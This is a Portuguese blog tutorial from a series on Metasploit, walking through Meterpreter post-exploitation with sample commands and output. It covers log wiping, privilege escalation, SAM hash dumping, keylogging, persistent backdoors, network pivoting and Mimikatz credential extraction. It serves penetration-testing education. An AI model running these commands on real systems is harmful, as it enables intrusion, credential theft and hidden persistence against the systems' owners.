ArtigosOffensive

Metasploit Framework de cabo a rabo – Parte 5

Fala galera! No post de hoje, dando continuidade a série Metasploit, iremos falar sobre o Meterpreter, que é de longe o payload mais utizado no MSF, ver seus principais  comandos de manipulação, além de técnicas de pivot e a utilização do módulo Mimikatz. 

Caso você ainda não tenha visto os outros posts da série Metasploit, recomendo fortemente a leitura antes de continuar aqui. Já falei um pouco sobre a história do Metasploit, terminologias, interfaces, arquitetura, utilitários, integração com banco de dados, scanner de rede, utilização de módulos para MSSQL e SNMP, scanners de vulnerabilidade, Metasploit Community e muito mais. Para checar acesse:

Meterpreter

Um payload no metasploit se refere a um módulo de exploração. Existem três tipos diferentes de módulos de payload no Metasploit Framework: Singles, Stagers e Stages. Esses diferentes tipos permitem muita versatilidade e podem ser úteis em vários tipos de cenários. Para saber se um payload é ou não staged, basta usar o comando “info” para obter mais informações, ou de forma mais rápida, basta ver o caracter “/” no nome do payload. Por exemplo, “windows/shell_bind_tcp” é um payload single sem stage, já o payload “windows/shell/bind_tcp” consiste em um stager (bind_tcp) e um stage (shell). Payloads Stage usam pequenos Stagers para poder explorar pequenos espaços de memória. Em outras palavras, se o buffer de exploração do sistema ou outra área de memória for muito pequena e permitir apenas que uma pequena quantidade de código seja executado, primeiro um pequeno stager é colocado na memória, depois o stager carrega o resto do payload (stage).

Payloads single são aqueles que são completamente autônomos e completamente standalone. Um payload pode ser algo tão simples quanto adicionar um usuário ao alvo ou executar um aplicativo (calc.exe). Os Stagers configuram uma conexão de rede entre o atacante e a vítima e são projetados para serem pequenos e confiáveis. É sempre difícil fazer bem as duas coisas, então o resultado acaba sendo múltiplos stagers similares. Stages são componentes de payloads que são baixados pelos módulos stagers. Os vários tipos de payloads stages fornecem features avançadas sem limite de tamanho como o VNC Injection, o Iphone ipwn Shell e o Meterpreter.

O Meterpreter é um payload avançado e dinamicamente extensível que usa in-memory DLL injection stagers. Ele se comunica através do socket stager e fornece uma API Ruby client-side abrangente. Possui histórico de comandos, tab completion, canais e muito mais. O Metepreter foi originalmente escrito pelo skape para a versão 2.x do Metasploit. A parte do servidor é implementada em C e agora é compilada com MSVC, tornando-a um pouco portátil. O cliente pode ser escrito em qualquer linguagem, mas o Metasploit possui um client Ruby API completa.

Mas como o Meterpreter funciona? O alvo executa o stager inicial que geralmente pode ser bind, reverse, findtag, passivex, etc. Em seguida o stager carrega a DLL prefixada com o Reflective, que por sua vez controla a injeção da DLL. Depois o núcleo do Meterpreter é iniciado, ele inicia um link TLS/1.0 sobre o socket e envia um GET, quando o Metasploit recebe esse GET ele configura o cliente. Por último o meterpreter carrega as extensões, ele sempre vai carregar as extensões stdapi e priv se o módulo dar privilégios administrativos. Todas essas extensões são carregadas usando TLS/1.0 e o protocolo TLV (type-length-value).

Meterpreter Commands

Uma vez que você comprometeu o alvo com sucesso e conseguiu a shell meterpreter, você pode coletar mais informações utilizando alguns comandos básicos do Meterpreter. Eu não vou explicar todos os comandos existentes, mas vou focar nos principais e mais eficientes. Você pode usar o comando “help” para obter mais informações sobre os demais comandos.

sysinfo
O comando “sysinfo” informa a plataforma do sistema alvo, assim como demais informações como nome, informações de domínio, arquitetura e etc.

meterpreter > sysinfo 
Computer        : WEBSERVER12
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : pt_BR
Domain          : GUIADOTI
Logged On Users : 6
Meterpreter     : x86/windows

screenshot
O comando de captura de tela do Meterpreter exportará uma imagem da área de trabalho do usuário que estiver ativo. As capturas de tela da área de trabalho são uma ótima maneira de conhecer mais sobre o alvo. Por exemplo, podemos ver as atividades realizadas pelos usuários, programas instalados e etc.

background
O comando “background” manda a sessão atual do Meterpreter para segundo plano e retornará para o prompt do msf. Para voltar a sessão do Meterpreter, basta utilizar o comando “sessions”.

clearev
O comando “clearev” limpará os logs de aplicativo, sistema e segurança em um sistema Windows. Não há opções ou argumentos.

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...

download
O comando “download” faz o download de um arquivo da máquina alvo. Observe o uso das barras duplas ao fornecer o caminho do Windows.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini

upload
Assim como no comando “download”, você precisa usar barras duplas com o comando de upload.

meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading : evil_trojan.exe -> c:\windows\system32
[*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe

getuid
A execução de “getuid” exibirá o usuário que está sendo utilizado para executar o Meterpreter no host.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

ps
O comando ‘ps’ exibe uma lista dos processos em execução na máquina alvo.

search
O comando “search” permite se localizar arquivos específicos no alvo. O comando é capaz de pesquisar todo o sistema ou pastas específicas. Caracteres curingas também podem ser usados ao criar o padrão de arquivo a ser pesquisado.

meterpreter > search -f *.doc
Found 1 result...
   c:\senhas.doc

shell
O comando “shell” apresentará um shell padrão no sistema alvo.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

getsystem
Frequentemente você descobrirá que sua sessão possui apenas direitos de usuário comum. Isso pode limitar severamente as ações que você pode executar no sistema, como obter hashes, manipular o registro, instalar backdoors e etc. Felizmente, o Metasploit tem o script ‘getsystem’ que usa várias técnicas para tentar ganhar privilégios administrativo no sistema alvo.

meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

getprivs
O comando getprivs executa a função cmd_getprivs que, por sua vez, executa a chamada da API client.sys.config.getprivs que retorna uma matriz de todos os privilégios que o usuário atual possui.

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeRestorePrivilege
SeBackupPrivilege

hashdump
O módulo “hashdump” irá exibir todo o conteúdo do banco de dados SAM.

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:7bf4f254b222ab21aad3b435b51404ee:2792d23cdf84d1a70e2eb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssist:1000:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714:::
SUPPORT_45a0:1002:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287:::

migrate
Com o módulo “migrate” você pode migrar para outro processo que esteja sendo executado no alvo. Você também pode usar o comando “migrate” informando o id do processo diretamente.

meterpreter > run post/windows/manage/migrate

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1096)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 1824
[*] New server process: Explorer.EXE (1824)

keystrokes
Uma das funcionalidades bem bacanas do meterpreter é a de keylogger, nos podemos facilmente gravar todas as atividades realizadas pelos usuários, basta utilizar o scrip “keylog_recorder”.

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against WEBSERVER12
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20180420223143_default_10.0.0.99_host.windows.key_745670.txt
[*] Recording keystrokes...

checkvm
O módulo “checkvm” verifica se o host comprometido é uma máquina virtual. Este módulo suporta máquinas virtuais Hyper-V, VMWare, VirtualBox, Xen e QEMU.

meterpreter > run post/windows/gather/checkvm

[*] Checking if V-MAC-XP is a Virtual Machine .....
[*] This is a VMware Virtual Machine

enum_applications
O módulo “enum_applications” enumera os softwares instalados no host comprometido.

meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on WEBSERVER12

Installed Applications
======================
...

enum_shares
O módulo “enum_shares” retorna uma listagem dos compartilhamentos configurados e usados recentemente no sistema comprometido.

meterpreter > run post/windows/gather/enum_shares

[*] Running against session 3
[*] The following shares were found:
[*]    Name: Desktop
[*]    Path: C:\Documents\guia\Desktop
[*]    Type: 0
[*] 
[*] Recent Mounts found:
[*]    \\10.0.0.99\software
[*]    \\10.0.0.99\dados

enable_rdp
O módulo “enable_rdp” é usado para habilitar o RDP no sistema alvo caso o mesmo esteja desabilitado.

meterpreter > run post/windows/manage/enable_rdp

[*] Enabling Remote Desktop
[*]     RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*]     The Terminal Services service is not set to auto, changing it to auto ...
[*]     Opening port in local firewall if necessary

get_local_subnets
O scrip “get_local_subnets” é utilizado para vizualizar todas as subnets do alvo. Essa informação é fundamental para realizar um ataque de pivot por exemplo.

meterpreter > run get_local_subnets

Local subnet: 10.0.0.0/255.255.255.0
Local subnet: 20.0.0.0/255.255.255.0

winenum
O script “winenum” faz um relatório extremamente detalhado sobre o alvo, ele faz dump de tokens, hashes e muito mais.

scraper
O script “scraper” pode coletar ainda mais informação do sistema, incluindo o registro todo.

meterpreter > run scraper
 
 [*] New session on 10.0.0.5:49234...
 [*] Gathering basic system information...
 [*] Dumping password hashes...
 [*] Obtaining the entire registry...
Persistence

Depois de passar por todo o trabalho árduo de explorar o alvo, muitas vezes é uma boa ideia deixar um caminho mais fácil de voltar ao sistema para uso posterior. Dessa forma, se o serviço que você explorou inicialmente estiver inativo ou corrigido, você ainda poderá obter acesso ao sistema. O Metasploit tem o script “persistence.rb” que criará um serviço Meterpreter que estará disponível para você mesmo se o sistema for reinicializado. Uma palavra de advertência aqui antes de irmos adiante. O Meterpreter persistente não exige autenticação. Isso significa que qualquer um que tenha acesso à porta poderá fazer uso da backdoor! Para nos auxiliar nessa tarefa iremos urilizar o scripr “persistence”:

Pronto, agora nossa backdoor já está instalada, mesmo depois que a máquina alvo for reiniciada iremos poder nos conectar nela futuramente. Para entender mais sobre os parâmetros utilizados veja a página de ajuda do comando:

meterpreter > run persistence -h

Perceba que foi criado um script de inicialização no windows, como é mostrado na imagem abaixo. Em seguida eu reiniciei o alvo e como é mostrado na imagem, podemos ver com o tcpdump os pacotes vindo do nosso alvo tentando se conectar na nossa máquina.

Agora basta utilizar o módulo handler do Metasploit e esperar a conexão do alvo:

Pivoting

Pitov é a técnica exclusiva de usar um host para poder se “mover” dentro de uma rede. Basicamente, usando o primeiro host comprometido para ajudar no comprometimento de outros sistemas inacessíveis anteriormente. Nós usamos esse primeiro host comprometido para rotear o tráfego de uma rede normalmente não-roteável. Por Exemplo, imagine que o host A é atacante, o host B é nosso alvo já comprometido e o host C é o outro alvo que ainda não foi explorado. O x da questão é que o host C está em uma rede diferente do host A, porém o host B tem acesso as duas redes. Nesse cenário nos iremos usar o host B para rotear o tráfego do host A para o host C. Na imagem abaixo fica mais claro:

Nesse exemplo eu já comprometi o host 10.0.0.99 previamente, portanto eu já tenho uma shell meterpreter nele. Com a ajuda do módulo “autoroute” eu vou criar as rotas de rede necesárias para o roteamento funcionar:

meterpreter > run post/multi/manage/autoroute

[*] Running module against WEBSERVER12
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.0.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 20.0.0.0/255.255.255.0 from host's routing table.

Para checar se o script realmente criou as rotas eu vou checar direto no msfconsole:

Podemos ver que todo o tráfego para a rede 20.0.0.0/24 será roteado pela sessão 6. Agora o próximo passo é tentar explorar a máquina que se encontra nessa rede. Aqui eu vou usar o módulo “windows/smb/psexec” como exemplo, então mãos a obra:

Obs: Perceba que o payload utilizado não foi do tipo reverse_tcp, se você utilziar esse tipo de payload o ataque não vai funcionar pois o roteamento é da máquina do atacante para o alvo.

Mimikatz

O Mimikatz é uma ferramenta de pós-exploração fantastica escrita por Benjamin Delpy. Após a fase inicial de exploração, o atacante busca por aumentar seu nível de privilégio dentro da rede, lateralizar o ataque e etc. Fazer isso exige um conjunto de ferramentas adicionais, isso sem falar no trabalho necessário. O Mimikatz é uma tentativa de agrupar algumas dessas tarefas e facilitar esse trabalho de pós exploração. Felizmente o Metasploit decidiu incluir o Mimikatz como um script meterpreter para permitir o fácil acesso a todos os seus recursos sem precisar fazer o upload do arquivo.

O Mimikatz suporta arquiteturas de 32 bits e 64 bits do Windows. Depois de atualizar nossos privilégios para SYSTEM, precisamos verificar com o comando sysinfo, qual é a arquitetura da máquina comprometida. Isso será relevante em máquinas de 64 bits, pois podemos ter comprometido um processo de 32 bits em uma arquitetura de 64 bits. Se este for o caso, o meterpreter tentará carregar uma versão de 32 bits do Mimikatz na memória, o que fará com que a maioria dos recursos não seja funcional. Isso pode ser evitado observando a lista de processos em execução e migrando para um processo de 64 bits antes de carregar o Mimikatz.

meterpreter > load mimikatz
Loading extension mimikatz...success.

O Metasploit nos fornece alguns comandos integrados que mostram os recursos mais usados do Mimikatz, fazer o dump de hashes e credenciais em texto claro diretamente da memória. No entanto, a opção mimikatz_command nos dá acesso total a todos os recursos do Mimikatz. Nós podemos usar os comandos internos do Metasploit ou os comandos nativos do Mimikatz para extrair os hashes e credenciais da máquina comprometida. Exemplos de comandos internos são:

Exemplos de comandos nativos são:

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { admin ; guiadoti ; password }
[1] { guiadoti ; admin ; password }
[2] { guiadoti ; admin ; password }

Em versões mais antigas do Windows como o caso do Windows 7 que é o nosso alvo aqui nós conseguimos visualizar a senha em texto claro. Nas versões mais novas do Windows isso não é mais possível, nos só conseguimos acesso ao hash do usuário, o que não é nenhum problema, pois continuamos podendo usar a técnica de Pass The Hash para ter acesso ao host.

Bem pessoal é isso ai, espero que tenham curtido. No próximo post da série iremos aprender mais sobre o msfvenom. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, FacebookG+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.

Referências
Book: Metasploit - The Penetration Tester's Guide
https://metasploit.help.rapid7.com/docs
https://www.offensive-security.com/metasploit-unleashed/
https://www.darkoperator.com/blog/2010/1/2/meterpreter-token-manipulation.html
Ricardo Galossi
Siga me
Últimos posts por Ricardo Galossi (exibir todos)

Ricardo Galossi

É um apaixonado por segurança da informação, atua profissionalmente há mais de 7 anos na área de tecnologia da informação, onde é focado em análise de vulnerabilidades e testes de invasão. Criou o blog Guia do TI para compartilhar conhecimento, ajudar os mais novos, incentivar debates e manter a comunidade atualizada com as principais notícias da área de TI.

Deixe seu comentário